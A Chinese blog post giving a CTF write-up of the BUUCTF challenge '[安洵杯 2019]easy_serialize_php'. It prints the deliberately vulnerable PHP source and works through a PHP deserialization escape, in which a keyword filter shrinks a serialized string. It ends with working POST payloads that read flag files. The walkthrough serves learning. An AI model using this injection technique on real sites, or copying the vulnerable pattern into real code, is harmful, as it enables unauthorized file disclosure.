NineOnee

导航

 

记一道php反序列化由多换少型的逃逸

前言

  • 环境:buuctf中[安洵杯 2019]easy_serialize_php
  • 知识点:php反序列化逃逸
  • 参考:wp

做题

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

在phpinfo中找到提示d0g3_f1ag.php

要读取d0g3_f1ag.php

调用得file_get_contents函数读取的参数是$userinfo['img']),而$userinfo是由$serialize_info 反序列化过来,$serialize_info 是由$_SESSION 数组序列化得来,而$SESSION['img']是不可控的,那么突破点在哪里呢?

诶! 突破点在于数组序列化之后,过滤时将某些字符串由多换成少,会造成漏洞

借用某位大佬得话:任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。

之前接触的反序列化逃逸是字符串由少变多,而这里则是由多变少

进行分析

首先得知道extract会造成变量覆盖,但传进去_SESSION['flag']=flag时,会把之前得$SESSION数组清空,然后再赋值


我们先按照题意构造序列化串

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBocA==";}

要造成逃逸,因为img是在最后面,显然是要把s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 放进去

根据序列化字符串格式,逐步往前构造

参照

a:2:{s:4:"user";s:5:"guest";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

先构造s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} ,因为键值被替换为空,我们要构造一个值与多出来的那个键值匹配s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

根据格式,x表示未知

被吃之前:

【s:x:"xxxxx";】【s:x:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"】

被吃之后

【s:x:"";s:x:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA==";】}"

显然背吃之后的第二个x表示的是;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 得长度48

【s:x:"";s:48:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA=="】;}"

那么第一个x就是7,则被替换的字符串有7个,要将7个字符串全部替换为空

【s:7:"phpflag";s:48:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA=="】;}"

我们得payload:

POST:

_SESSION['flagphp']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得到/d0g3_fllllllag

替换

_SESSION['flagphp']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

posted on 2020-12-10 23:19  NineOne_E  阅读(170)  评论(1编辑  收藏  举报